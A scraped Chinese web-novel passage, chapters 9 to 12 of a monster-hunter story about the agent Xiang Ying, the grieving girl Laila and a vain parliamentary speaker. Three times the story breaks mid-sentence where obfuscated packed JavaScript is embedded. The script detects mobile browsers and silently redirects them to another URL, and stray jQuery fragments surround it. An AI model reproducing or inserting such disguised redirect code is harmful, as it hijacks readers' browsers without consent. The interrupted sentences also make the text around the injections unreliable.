“可是议长,里面那个‘怪物清除局’的人该怎么办?” 议长叹了口气:“作为‘怪物清除局’的一员,他应该一早就准备好为人民牺牲了。我作为议长,会建议‘怪物清除局’多拨些抚恤金给他的家人的。” “不行,我不同意,我相信他一定能除掉那头怪物。” ——是莱拉的声音。 “你这个小丫头片子是谁?竟敢这么对议长大人说话。” “议长大人,我这就把这小丫头赶出去。” 两个贴身保镖不知道从哪里窜了出来。 莱拉被贴身保镖一左一右抓住了胳膊,却没服软,而是义愤填膺地道:“议长就能草菅人命嘛?你真是对不起‘帕拉而提’这个响当当的名字。” “你……真是个不懂事的小姑娘,我这是为了绝大多数民众着想。他和怪物一起被炸死,是当烈士,当英雄,会受到表彰,可以上黄金时段电视新闻和报纸头版头条的,全国人民都会记得他的付出,他的家人也会受到大家的尊敬。假使他被怪物吃掉了,怪物又从这会议室跑了出来。他就会死得无人问津。你说怎样做对他比较好?” ——议长的口吻语重心长,好像真心实意地在为向罂这个外人考虑。 “你怎么这么确定向罂会死?” ——向罂,他的名字叫做“向罂”,不知道议长还记不记得向罂? “‘向罂’?他叫‘向罂’?长得倒是不错,名字真是奇怪。” ——议长不记得。 “向罂可厉害了,一会儿工夫就能干掉一头怪物,是我亲眼看到的。里面的这头怪物肯定也会被向罂干掉的,我相信向罂一定会帮吉娜报仇的。” “请问议长大人,还要准备炸药么?” “准备。” “议长大人,我是国家电视台的记者,请问里面是什么情况?” “里面有一头怪物,我们准备用炸药把祂炸死。” “议长大人,我看过您的自传,您曾生擒过好几头怪物,请问您为何不亲自制服里面那头怪物,而要动用炸药?” “岁月不饶人啊,要是换做我年轻的时候,哪里用得上炸药?” “沽名钓誉的伪君子。”向罂骂了一句,与此同时,他的面孔被怪物舔下一大块肉来。 他并不反抗,凝视着怪物,道:“你听到了么?议长打算把我们一起炸死。” “怪物清除局”内部资料显示,少数怪物是有智慧的,不知道这头怪物有没有? 怪物不为所动,不知道是听不懂,还是懒得理他? “不如我们一起出去,你去把外面的人全吃了。” 怪物还是不为所动。 他的那块脸肉被怪物吞了下去,怪物显然没吃饱,血盆大口馋得口水泛滥。 “好吧,你想吃我就吃吧。”他做出一副束手就擒的柔弱姿态。 然后,他深吸了一口气:“我怕疼,能不能生吞,别咀嚼?” 他丢了枪,以示友好,继而抬起手,摸了摸怪物的鬃毛。 怪物这回像是听懂了。 他没再说话,自己将怪物的嘴巴掰大一些后,钻了进去。 “啪”的一声,大门被打开了。 娇小的边橙提着比她自己的身体还要长的死神镰刀赶了过来,一眼便看见向罂被怪物整个吞了进去! “向罂!” 她常常打趣向罂是未亡人,向罂就得是未亡人,决不能变成已亡人。 她飞快地到了怪物面前,朝着怪物劈了下去。 她必须快点把向罂剖出来,向罂肯定还没死,指不定之前被怪物吃掉的那几个议员也没死。 死神镰刀在水晶吊灯下折射出锋利的光芒,怪物肚子上的皮毛顿时破了一大片。 下一瞬,陡然有什么东西从怪物肚子钻了出来。 边橙没收住力,砍在了那东西身上。 死神镰刀受阻,撞到了利器上头,发出一声锐响。 “我没被怪物吃掉,险些被你砍死了!” 出来的东西是向罂,他浑身上下沾满了怪物黏黏糊糊的体.液。 刚才他实在是没办法了,只能以身涉险。 不知道怪物是听懂了没咀嚼,还是没赶得上咀嚼,总而言之,他全须全尾地到了怪物肚子里头。 这肚子里头当然比肚子外头更为柔软。 他便用藏起来的匕首,从肚子里头将怪物剖开了。 幸好这头怪物没毒,不然,他早就被毒死了。 他没什么力气了,却好奇地问边橙:“你不是凯勒的徒弟么?不在化验室好好呆着,来这儿干嘛,还拿着把大死神镰刀?” “处刑官不是都出任务去了嘛?我寻思着你一个人对付不了一头估计A+级别的怪物,就拿了死神镰刀来帮你了。”边橙得意洋洋地道,“死神镰刀是我求段副局打给我的,是不是很酷,像传说中的死神?” “是很酷,早知道,我出发前,应该向你借,或许我能快些搞定这头怪物。”一把锋利的死神镰刀如果从肛.门捅进去,怪物定然受不住。 向罂不再同边橙说话,转而低下身去,将怪物肚子里的尸体拖出来。 一具,两具,三具…… 有被咬得七零八落的尸体,也有相对完好的尸体。 但所有的都是尸体,没有能救活的人。 最为面目全非的尸体格外娇小,想必是吉娜的尸体。 “吉娜!”莱拉三步并作两步地跑到了向罂面前。 向罂摇摇头,挡住了莱拉:“别看。” “很可怕么?”见向罂默认,莱拉咬了咬嘴唇,“我想看,我不怕吉娜。” 向罂迟疑片刻,侧过身去。 莱拉马上看见了吉娜,明明只与吉娜分开了几个小时,她却无法从吉娜身上看出一点吉娜生前的样子了,惟有上头的一对蝴蝶耳环能证明这具尸体就是吉娜。 吉娜的皮肤非常白,是全班最白的,而且是公认最漂亮的班花。 吉娜有一双酒窝,笑起来的时候,像是传说中的太阳女神。 吉娜双手修长,她们偶尔会买廉价的指甲油,互相涂着臭美。 启程来“帕拉而提”前,她们还涂了指甲油,是大红色的。 吉娜说大红色是她的幸运色。 只要涂了大红色,她们一定能顺利抵达“帕拉而提”。 她们果然顺利抵达了“帕拉而提”,但没多久,吉娜竟被从天而降的怪物吃掉了。 “吉娜……”她咚的一声跪了下去,将被怪物消化大半,露出白骨的吉娜抱在怀里。 吉娜喜欢用肥皂洗澡,每天都是香香的,而今的吉娜却比学校外面那条臭水沟还要臭得多。 吉娜有着一双漂亮的眼睛,当年的吉娜便是用这双漂亮的眼睛望着她,对她说:“别人都不愿意和你做朋友,那我和你做朋友吧?” “你别害怕,我没有恶意,也不是在对你恶作剧。” 当时的莱拉早已习惯被孤立了,只要有人对她释放善意,都会被她解读成别有用意。 她的第一反应是不理吉娜。 吉娜却一有空就来找她玩,即使是碰软钉子也不畏缩。 直到有一天,她忍不住对吉娜道:“全班都孤立我,你要是不孤立我,和我玩,就会和我一样被全班孤立。” 吉娜微笑道:“那我就和你一起被全班孤立吧。” 然后,她与吉娜成了全天下最好的好朋友,一起玩,一起闹。 她还把吉娜带回家,介绍给妈妈,一脸骄傲地说:“妈妈,这是我的朋友,吉娜。” 妈妈又惊又喜,郑重地向吉娜鞠躬:“多谢你愿意和莱拉做朋友。” 吉娜也鞠了一躬:“应该多谢莱拉愿意和我做朋友才对,莱拉人可好啦。” 当时的莱拉觉得自己是世界上最幸福的小女孩,有妈妈,有吉娜。 早知道不来这破“帕拉而提”了。 “帕拉而提”才不是什么理想国。 怪物横行的国家应当改名叫“地狱国”。 眼泪汹涌而下,她不想弄脏吉娜的遗体,用力地捂住了自己的眼睛。 眼泪太多了,顺着手指流淌了下去。 还有脏脏的鼻涕,也跟着窜了出来。 她真是个讨人厌的人,活该被孤立。 她用衣袖擦眼泪,擦鼻涕,怎么都擦不过来。 她眼睁睁地看着一些眼泪鼻涕掉在了吉娜身上,命令自己不许再哭了,可她做不到。 “真没用,我真没用,我真没用啊,这个世界上怎么会有我这么没用的人?” 向罂正在查看别的尸体,听到这话,心头一疼。 当年的他也曾无数次这么想过。 要是他有用些,闻璨便不会只剩下一条被福尔马林泡得发胀的右小臂。 “别诋毁自己,你比其他人勇敢多了,只有你有勇气帮我。”他安慰道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148409|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哪有,我怕死了,我现在都还在后怕。”莱拉含着哭腔道,“向罂,你说是不是我害死了吉娜?若不是我天天说天天说要来‘帕拉而提’,说‘帕拉而提’如何如何得好,吉娜根本不会来‘帕拉而提’。吉娜成绩好,可以在‘帕拉’当地考上一所好大学。 “大学毕业后,吉娜能找到一份比一般的当地人好得多得多的工作。吉娜不会死在十五岁,吉娜会变成一个白发苍苍的老太太,等走不动路了,还要臭美地涂大红色的指甲油。‘帕拉’经济不好,不,不是不好,是很差,基本都是平房,远远比不上‘帕拉而提’,但‘帕拉’没有吃人的怪物,或许再过几年,经济就能好起来,吉娜在‘帕拉’就能过上好日子。或许……或许等吉娜变成白发苍苍的老太太了,不但能涂大红色的指甲油,还能用上只在时尚杂志上出现过的粉饼、眉笔、腮红、口红、高光……啊,还有什么来着,对了,还有睫毛夹,睫毛膏,阴影……” “吉娜要是能用上这些化妆品,一定是全‘帕拉’最最最好看的老太太,吉娜还能穿上花裙子,戴上遮阳帽,对了,再戴上太阳眼镜……吉娜她可爱美啦,我也爱美,但我没吉娜爱美……吉娜……吉娜就该美美的,活到七老八十……不,活到一百岁。虽然我们‘帕拉人’的人均寿命据说才四十二,但我相信吉娜一定能活到一百岁。可是不要说一百岁了,吉娜连五十岁都没活到呢,吉娜才活了十五岁,十五岁啊!是我害死了吉娜!吉娜死前肯定很恨我吧?” “既然你们是好朋友,吉娜又这么善良,她不会恨你的,也不是你害死了吉娜,害死吉娜的是这头怪物。”向罂不太会安慰人,他随身没带纸巾,瞟了边橙一眼。 边橙摇了摇头,表示自己也没带。 怪物体内的尸体被清点完毕了,统共有二十一具。 随着吃的人越来越多,怪物会越来越强大,要是这头怪物低调些,别在国会露面,按照祂进食的数量,恐怕今年之内就能进化成S级怪物。 这二十一具尸体肉眼难以辨认,必须做dna检测。 向罂温言对哭泣不止的莱拉道:“莱拉,吉娜的尸体也必须和其他的尸体一道做dna检测,你先放手。” 莱拉仿佛没听见。 向罂拍了拍莱拉的肩膀:“莱拉,这是必要的流程,万一吉娜的尸体和别的尸体弄混了呢。” “好吧。”莱拉点点头,小心翼翼地从吉娜身上摘下蝴蝶耳环,攥在手心。 其后,吉娜的尸体被装入了灰扑扑的裹尸袋,看起来和其他的尸体一模一样。 莱拉看见边橙的死神镰刀,不由自主地想:难道死神真的来过了? 向罂目送裹尸袋被一个个抬了出去,接着怪物的尸体也被抬了出去,再接着,有专人来清理现场了。 “走……”向罂身体摇晃,问边橙,“你能不能扶我一把?” “哦。”边橙一手拿着死神镰刀,一手扶住向罂。 向罂的脑袋瓜子立刻歪了下去,差点撞上死神镰刀尖。 边橙吓了一跳,把死神镰刀往认识的后勤一递:“麻烦你帮我送到化验室。” 怪物没把向罂送走,万一由她把向罂送走就不好了。 未亡人就要乖乖地当未亡人,她可没给同事扫墓的爱好。 会议室外,议长正在接受媒体的采访。 镁光灯一盏又一盏,分外刺眼。 整个国会都要进行清理,按理说,媒体暂时是不能进来采访的。 但是安保不足,这么多媒体拦不住吧? 边橙平时不关注政治,只认得出议长的长相。 这个议长长得还行,看得出来年轻时候应该是个大帅哥,不过侃侃而谈的模样非常令人讨厌。 议长方才有他自己说的那么英勇嘛? 拖住怪物,掩护其他议员逃走什么的,只怕是信口瞎编的吧? 现场的媒体却像是见了狗屎的苍蝇一般嗡个不停。 难道这就是所谓的领袖魅力? 对了,她好像听段昀提过,议长要参加下一届的总统选举。 什么总统选举,只不过是金钱游戏罢了。 边橙懒得再看议长,正打算从媒体中间穿过去,突然,半昏迷的向罂支起了身体。 “向罂?”她正想问向罂怎么了,却见向罂挣脱了她的手,直直地走向议长。 向罂越过一个又一个的记者,脏兮兮地走到了议长面前,礼貌地道:“议长先生,我是‘怪物清除局’的处刑官‘向罂’,我的代号是‘东方罂粟’”。 10.理想国·其九 尊贵的议长大人记得自己已经提醒过向罂不要将他和那头怪物相提并论,向罂竟敢屡教不改。 刚才的向罂长得很是漂亮,现在的向罂邋里邋遢,臭气熏天。 议长不由自主地后退了一步,又立即上前两步,一把抱住向罂,感激地道:“向罂,多谢你救了我们大家,否则,这个国家怕是要闹出大乱子啊。” 他心里嫌弃,脸上和蔼可亲,符合他一贯的人设。 自抬身价,没了你,指不定这个国家会蒸蒸日上,向罂不由反胃,下意识地推开了议长。 “好臭啊,议长大人竟然不觉得恶心。” “救了议长大人又怎么样?特意出来邀功真不要脸。” “是想和议长大人攀关系吧?” “‘怪物清除局’的责任就是清除怪物,居然纵容怪物跑到国会来了。” “是啊,是啊,还让怪物吃了好几个议员,也不知道平日里是不是除了喝茶就是看报?” “哈哈哈,我也想干除了喝茶就是看报的工作,不知道‘怪物清除局’收不收我?” “此次事件‘怪物清除局’必须负全责!” “必须负全责!” “必须负全责!” …… “‘怪物清除局’也无法预料到怪物会突然闯入国会,请各位媒体朋友不要太过苛责。这位叫向罂的小朋友虽然年纪不大,却能独力杀掉一头怪物,前途不可限量啊。他来日兴许能当上‘怪物清除局’局长,帮助我们清除所有怪物,让我们的人民不再受怪物的困扰,不再因为怪物而寝食难安,不再被怪物夺走生命。” 议长慷慨陈词,热泪盈眶。 向罂听着议长的表扬,心里冷笑。 “哇,议长大人真是个大好人。” “议长非但不怪罪‘怪物清除局’,还为‘怪物清除局’说话呢。” 边橙翻了个大大的白眼,不知道的还以为议长在开粉丝见面会呢。 你们这些马屁精要不要和议长握个手,合个照,再大喊“哥哥,我们爱你”? “议长当真不觉得应该追究‘怪物清除局’的责任吗?” “‘怪物清除局’距离国会仅有一公里,怪物能跑进国会,改日也能跑进‘怪物清除局’,万一‘怪物清除局’被怪物一锅端了就讽刺了。” 向罂转身面对媒体,淡淡地道:“万一‘怪物清除局’被怪物一锅端了,你们以为自己能幸免么?” 他脸上的伤还没愈合,正在流血,衬着一身的戾气,说这话的态度像是要把在场所有的媒体人都杀了,一个不剩。 说完,他不理会媒体的态度,径直走了出去。 “向议长,那个叫向罂的是不是太嚣张了?” “对,对,对,总得让他受些惩罚吧?工作工作干不好,还有脸威胁我们?” “咦,他和议长是一个姓呢。” 这话钻入了向罂的耳蜗,他回过头去看议长,视线撞上了议长的视线,议长温和地对他笑了笑:“我很荣幸能和英勇无畏的小朋友一个姓。” “都是些不识好歹的坏东西。”边橙抓住向罂的胳膊,娇滴滴地道,“你可别倒下,我很柔弱的,扶不动你。” “尽量。”向罂在边橙的搀扶下,出了国会。 外面天朗气清,如同闻璨被吞噬的那一日。 那一日,闻璨想问问市政府能不能给“乌鸦贫民窟爱心学校”多拨些经费。 本来闻璨是不让他跟的,因为近些天从“乌鸦贫民窟”去往市政府的路上不太平,常常出现怪物。 他没见过怪物,不管旁人如何描述怪物的恐怖,他都缺乏真实感,所以他连匕首都没带上。 他甚至觉得所谓的怪物不过是有人在装神弄鬼,或是大人们编出来吓唬小孩的故事。 他们从市政府的取号机取了号,取号纸上显示前面只有十一个号,可是他们从上午等到下午,直到市政府下班都没被叫到号。 他气得不行:“他们这是歧视!‘乌鸦贫民窟’的全体居民也是这个‘帕拉而提’的合法公民,有权利拥有更好的学校,新闻上不是说政府一直在抓教育,想要培养更高素质的人才么?我们学校的教育政府怎么不抓一抓?” “当然是因为你们贫民窟出不了高素质的人才。” 有个政府工作人员模样的人嘲讽道。 “你……”向罂气愤地道,“你怎么知道?我们贫民窟一直没出高素质的人才不就是因为经费不够,连课本都买不起么?只要经费足够,和贵族学校一样,最起码和普通学校一样,我们贫民窟也能出高素质人才。” “首先,贵族学校没经费,都是贵族们自己捐款的,你们有本事自己捐款啊。至于普通学校,经费也不多,主要来源是学生的学费。你们这些贫民既不捐款,也不交学费,简直是趴在人民身上吸血的吸血虫,白白浪费税金。也不知道政府为什么不把贫民窟搬走,看着都碍眼。” “是啊,是啊,要是把那个贫民窟……叫啥贫民窟来着?对了,是‘乌鸦贫民窟’吧?” “对,就是‘乌鸦贫民窟’,离我们这可近咧,走上半个小时就到了。” “啧啧啧,半个小时,怪不得近来市政府附近常常出现怪物,保不齐是那些恶心的贫民变的。” “你可别说啦,这两个小破孩要是气得当场变成怪物,可不得把我们这些细皮嫩肉的都吃了呀。” “我还没见过大变怪物的,你们变一个让我开开眼啊。” “对,快变,快变!” 没多久,向罂与闻璨被好几个好事的政府职员围住了。 “走吧。”闻璨牵了向罂的手,柔声道。 向罂甩开闻璨的手,学着电视上的变态反派,冲那些人张牙舞爪。 没想到,他幼稚的举动当真吓到人了。 他再接再厉,直如被鬼上身的巫师,口中念念有词地说着连他自己都听不懂的话。 “不会真要变了吧?” 毕竟没人见过人类变成怪物,不知道具体是怎么变的。 “快走,快走。” 眨眼间,高高在上的政府职员走得干干净净。 向罂收起神通,蹦蹦跳跳地到了闻璨面前,挽住闻璨的手,志得意满地道:“我吓到他们了呢,我是不是超厉害,超威风的,快表扬我,表扬我!” “你超厉害,超威风的。”闻璨低叹一声,转了话锋,“但是向罂,我们是来申请学校经费的,你吓到他们了,只会让他们更不想给我们批经费,你不该那么做。” “你……”向罂生气地咬了一口闻璨的下巴,“我不和你好了。” 他不是不懂事的小孩子了,自然知道和政府职员作对是没有好处的。 但他不喜欢被闻璨批评,而且闻璨是从来不批评他的。 闻璨只会说他好,这也好,那也好,就算他打闻璨,闻璨都不会说他不好。 他不解气,又咬了一口闻璨的右小臂。 咬得很重,咬出了一圈血痕。 ——即便右小臂被泡得死白,那圈牙印都隐约可见。 闻璨抚摸着他的脑袋,宠溺地道:“别生气了。” “就气,就气,我要气死我自己,再让你给我收尸。”向罂口不择言地说完气话,推开闻璨,气呼呼地走在前头。 等回到“乌鸦贫民窟”,他要向闻璨的爸妈告状。 让他们评评理,闻璨是不是不应该批评他。 由于他单方面地在同闻璨闹别扭,所以闻璨走得离他近了,他就走快一些,闻璨来牵他的手,他就重重地拍掉,闻璨对他说软话,他就假装听不见。 过两天,我就原谅你。 毕竟我可不是一个斤斤计较的人。 他是这么想的,但闻璨没给他原谅的机会。 ——因为闻璨被怪物吃掉了。 他不该和闻璨闹别扭的。 他应该和闻璨牵着手,说说笑笑地走回家。 他应该缠着闻璨去别处逛逛再回家,那样的话,他们可能就不会遇见那头怪物了。 他应该让自己被怪物吃掉,那么闻璨就不会被怪物吃掉了。 注定应该被编号16627吃掉的是他。 他悔不当初,然而,闻璨终究被那头狮鬃水母吞噬了。 “边橙。”他收起思绪,死死地盯着边橙,像是要盯穿边橙的皮肉,以看见她的脑子,“你有没有看见一头狮鬃水母?” 边橙被向罂盯得发毛,不敢同向罂说笑,严肃地道:“我没看见,你看见了?” “嗯,我看见了,通过会议室的天窗。”向罂萎靡不振地道,“我不清楚是不是我自己的幻觉。” 边橙不知道该怎么安慰向罂才好,想了半天,没头没尾地道:“会再见到的。” “会再见到的,会再见到的……”向罂失笑道,“你也没这么毒舌嘛。” “我本来就不是走毒舌路线的。”边橙冲向罂做了个鬼脸,“我娇弱无力,美丽大方,善解人意。” “我要……”向罂面色发白,猝然吐出一口血,“我要晕过去了。” 向罂说要晕过去了,当真晕过去了。 自称娇弱无力的边橙把向罂打横抱了起来。 抱是抱得动,但是向罂太高了,这样不好抱,向罂的脚都要拖地了。 “怪物清除局”全部的车辆都出任务了,边橙方才是跑着来的。 而现在嘛…… 她打开手机,搜索共享单车,发现附近有一辆,找到后,解锁,继而将向罂抱到了共享单车车座上,自己坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148410|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后座,歪着脑袋,艰难地骑着车。 哎,她堂堂“怪物清除局”化验室的二把手居然沦落至此,简直是上天不长眼啊。 经过一个十字路口的时候,她正遵守交通规则地等着绿灯,忽然有个交警走了过来:“自行车不能骑车带人,罚款五十。” 罚款五十! 上天太不长眼了! 边橙娇俏的脸蛋宛若被雷劈了,冒出黑线来:“不是我想骑车带人,你看看他都晕过去了,我总不能让他自己骑吧?他这样子要是能骑车,那就是医学奇迹了。” 交警看了一眼昏迷的少年,确实骑不了车。 “规定就是规定,罚款五十,不能讨价还价。” 边橙不情不愿地掏出手机,扫了交警给的罚款码。 您的银行卡扣款五十,余额三百六十八。 银行马上温馨地给她发了一条短信。 三百六十八! 边橙心如刀割,她心里所受的创伤一定比向罂生理所受的创伤还要重。 交警提醒道:“国会出事了,你再往前五百米就封锁了,会有相关人员和你说明的。” “国会出现了一头怪物,喏……”边橙指了指昏厥的向罂,“这就是杀了那头怪物的人。” “你们是‘怪物清除局’的人?”交警肃然起敬,拿出自己的手机,“请您出示下收款码,我把五十块还给您。” 进了罚款系统的钱定然是出不来的。 既然是按规章办事,边橙认为自己还是自认倒霉好,不能让这个交警自掏腰包。 但是那可是五十块,五十块啊!整整五十块啊! 边橙苦思良久,出示了自己的收款码,毅然决然地道:“你还我二十五就好,一半一半。” 交警挠了挠头:“这怎么好意思?” “好意思,好意思。”边橙心里在流血,口中坚持道,“二十五,一口价。” 交警思忖道:我们是在做生意吗? 边橙拿着收款码,见交警不扫,也不好意思催。 这个交警不会是反悔了,连二十五都不想给她吧? 交警终于拿起手机,对准了收款码。 边橙心道:快扫,快扫,那可是我的二十五。 交警扫了收款码,并对“怪物清除局”的英雄敬礼。 “滴,您的银行卡到账二十五。” 边橙松了口气,回了个礼。 还没等边橙把向罂弄回“怪物清除局”,“怪物清除局”那的车来了。 开车的是副局段昀,边橙将向罂交给段昀,又问道:“你怎么来了?怕你来晚了,向罂会死?” 见段昀不说话,边橙凑到段昀耳侧,低声道:“你是不是太关心向罂了?你莫非喜欢他?” 段昀怔了怔,蹙眉道:“边橙,你在说什么胡话?” “不喜欢就好,向罂有喜欢的人了。”边橙说完,擦过段昀的肩膀,将共享单车停在一边,赶紧上了锁还车。 等向罂转醒,已经是三天之后的事了。 向罂一睁开眼睛,没看到闻璨的那截右小臂,登地坐了起来。 一时间,他疼得龇牙咧嘴。 “别起来,不想活了啊。”边橙立马按住了向罂的双肩。 向罂乖乖地躺了下去:“我在医务室?” “你在icu。”边橙没好气地道,“你没发现我穿着防护服嘛?” 向罂满不在乎地道:“哦。” 他是第一次进icu,但他既然能醒过来,便代表已经过了危险期了,没什么好害怕的。 边橙指着自己道:“你还认得我么?” 向罂央求道:“边橙,你能不能去我宿舍,把标本瓶拿过来?” “肖恩医生说你断了十根肋骨,心肝脾肺都有一定程度的损伤,还有脑震荡。”边橙自吹自擂道,“要不是我及时把你送到肖恩医生这,你可能早就死了八百回了。” 向罂焦急地道:“边橙,多谢你救了我,麻烦你帮我拿标本瓶,我请你吃饭。” “好吧,好吧,看在你求我的份上。”边橙去拿标本瓶了。 不久后,向罂战战兢兢地将消过毒的标本瓶抱入了自己怀中。 标本瓶冰冷,向罂被冻着了,却不肯放手。 又一次死里逃生了,真好。 闻璨,国会天窗外的是不是你? 你是不是想我了,特意来见我? 边橙看着向罂,心里不是滋味,这截右小臂的主人被怪物吃掉了,向罂却一直惦念着他,这是什么好事么?只会徒增痛苦吧? 如果她是向罂,她一早就把这右小臂扔了,绝不会日日夜夜地看着。 眼尾余光突地扫到肖恩医生进来,她低声道:“让向罂和他团聚一会儿吧。” 11.理想国·其十 向罂又在icu躺了两天,才转入普通病房。 足足一个月后,肖恩医生终于允许他出院静养了。 友爱同事的边橙借了轮椅来,向罂牢牢地抱着标本瓶,被边橙推着轮椅,送回了宿舍。 其实他自己能走,但肖恩医生坚持,没给他反对的余地。 几乎天天来看望他的莱拉并没有出现,据说化验室昨天总算将从怪物肚子里剖出来的二十一具尸体分好并做完dna检测了,今天应该是火葬的日子。 边橙从未来过向罂的宿舍,扫了一眼,嫌弃地道:“真是一点人味都没有,简直像是怪物的住所。” 向罂没做出什么反应,从轮椅上起身,有些颤颤巍巍地到了床头,郑重其事地将标本瓶放了回去。 而后,他对着标本瓶发起了怔来。 边橙抬手在向罂眼前摇晃,见向罂不理睬她,气呼呼地道:“我又不是空气。” “你不是空气,你是边橙。”向罂认真地道,“可以请你出去么?” 边橙双手叉腰,控诉道:“老娘好心好意地送你回来,你就是这么招待老娘的?” 向罂不清楚边橙的年纪,边橙看起来不大,如同女高中生,活脱脱是日漫里走出来的萌妹,听边橙自称“老娘”,向罂觉得不太相称,不过他从不置喙别人的口癖。 “那要我怎么招待你?”对于边橙,向罂是心怀感激的,虽然他曾经和别的处刑官并肩作战,虽然边橙来晚了,但边橙是“怪物清除局”除了段副局之外,第二个这么关心他的人。 他为人孤僻,不懂得该怎样表达感谢,话说得非常生硬。 幸好边橙不计较:“给我做饭吃,我饿了。” “好。”向罂满口答应了。 边橙眉开眼笑地道:“看在你是病人的份上,做点简单的填填肚子就行。” 她话音还没落地,一碗没开封的杯面被放在了她面前。 肯定还有别的,最起码得煎个蛋吧。 她按捺着性子等,等来了向罂打开杯面包装,撕开调料包,放进碗里,并倒入开水,一气呵成,行云流水。 “啊,这……就杯面?”她不敢置信地质问向罂。 向罂理所当然地道:“我不会做饭,而且是你自己说的能填肚子就行。” “你真是一点都不客气。”边橙认命地等杯面泡开,凑合着嗦了起来。 见向罂又一眨不眨地望住了标本瓶,她好奇地道:“你对他这么恋恋不忘,你一定待你很好吧?” “嗯,不管我怎么欺负他,他都不会责怪我。有一次,我尿床了,趁着他刷牙的工夫,我把我们的垫被互换了,害得他被他妈妈打了一顿。他不但没告发我,还安慰我没事的,不用不好意思,尿床不是我的错。后来,他每天醒来的第一件事就是摸摸我的垫被湿不湿,要是被我尿湿了,就给我换成他的垫被。所幸我又尿了两次床,就再也不尿床了;还有一次,我气他给别的小朋友糖吃,把他推河里了,要不是有大人经过,他恐怕已经淹死了。他被救上来后,没骂我,只说是自己不小心,还把揣在兜里的棒棒糖给我了——他给别地小朋友的都只是小小颗的糖果,不是棒棒糖,他还向我道歉说把棒棒糖弄湿了,可能会不好吃。他啊……”向罂眼中升起些许雾气,抿了抿嘴唇,“我是不是话太多了?” 在此之前,边橙对向罂的印象是话很少,初见向罂,她甚至怀疑过向罂是不是哑巴。 一提起那个他,向罂的话确实多了很多。 边橙打趣道:“你就是这样爱上他的?” “我不清楚自己有没有爱上他。”向罂茫然地道。 “啊?”边橙吃了一惊,“你知不知道你看标本瓶的眼神痴情得一塌糊涂。” “是么?我不知道。”向罂暗暗地吸了吸鼻子,又正色道,“我只是想找到他。” 边橙想说要是找不到怎么办?要是在你找到之前,祂被其他处刑官处决了该怎么办?要是找到了,祂完全没有作为人类的意识,只想吃掉你又该怎么办? 话到嘴边,她竟然说不出口了。 向罂凝视着边橙的双眸道:“我明白你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165665|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想说什么,别说,我不想听。” 只要编号16627还没被找到,他就有希望。 就算是痴心妄想也总比当行尸走肉强。 “你听说过布朗伯爵吧?”他这话其实不是在问边橙,而是在喂自己吃定心丸。 边橙点点头:“听说过,布朗伯爵被灰熊怪吃了,又通过灰熊怪重生了。” 向罂想说他的那个他会是第二个布朗伯爵? 但布朗伯爵不过是都市传闻。 “对,布朗伯爵通过灰熊怪重生了。”向罂笑意盈盈地道,“果然不只有我一个人听说过布朗伯爵。” 边橙直觉得向罂徘徊于正常与失常之间,倘使发生什么向罂不愿见到的结果,也许会连正常的皮囊都维持不住,直接被“怪物清除局”送入精神病院。 面对这样的向罂,边橙感到毛骨悚然,不得不专心嗦面。 边橙不说话,向罂也就不说话了,拿了干净的毛巾来,轻柔地擦拭标本瓶。 边橙嗦完面,正打算脚底抹油,房门突然被敲响了。 这房门没关,房间也不大,她一抬头就看到了莱拉。 向罂仍在笑:“进来吧。” 莱拉耳朵上戴着从吉娜尸体上取下来的蝴蝶耳环,怀里抱着骨灰坛,走到向罂跟前,鞠了个躬,肃然地道:“向罂,我带着吉娜来谢谢你。” 一般人会特意带着骨灰坛来谢人么?自认为不太正常的边橙觉得在向罂和莱拉面前,自己实在是正常得过头了。 “不需要,清除怪物本来就是我职责所在。”向罂放下毛巾,歉然地道,“没能救回吉娜,我很抱歉。” “没关系,吉娜不会怪你的,要怪也要怪我。”莱拉深吸了口气,“向罂,我暂时不回‘帕拉’了,我想考‘怪物清除局’,和你一起杀怪物。” “滴。” 向罂与边橙的手机同时响了。 是怪物,又出现了一头新怪物。 向罂看了眼手机,正要说话,电话来了,是段昀:“向罂,有个新任务交给你。” 12.国立第一精神病院·其一 “救救我!救救我!快救救我……” 门外有人求救,门内只有一张病床。 向罂躺在病床上,整副身体陷在惨白的棉被中,他正睡着,睡姿犹如尚未出生,安然被妈妈保护在子宫中的胎儿。 自从被迫和妈妈分开后,他一直都是这个睡姿,除非是同闻璨一起睡。 “乌鸦贫民窟”的小朋友们都很喜欢闻璨,闻璨也很喜欢他们。 而他不屑于与他们似地跟在闻璨屁股后头跑。 他是个别扭的孩子,羞于表达自己对闻璨的依赖,以至于对闻璨不冷不热,甚至以欺负闻璨为乐。 闻璨仅仅比他大半岁,却像个年长他很多的大哥哥,对他既温柔又包容。 可是闻璨同样对其他小朋友既包容又温柔。 所以对于闻璨而言,他与他们没有任何区别。 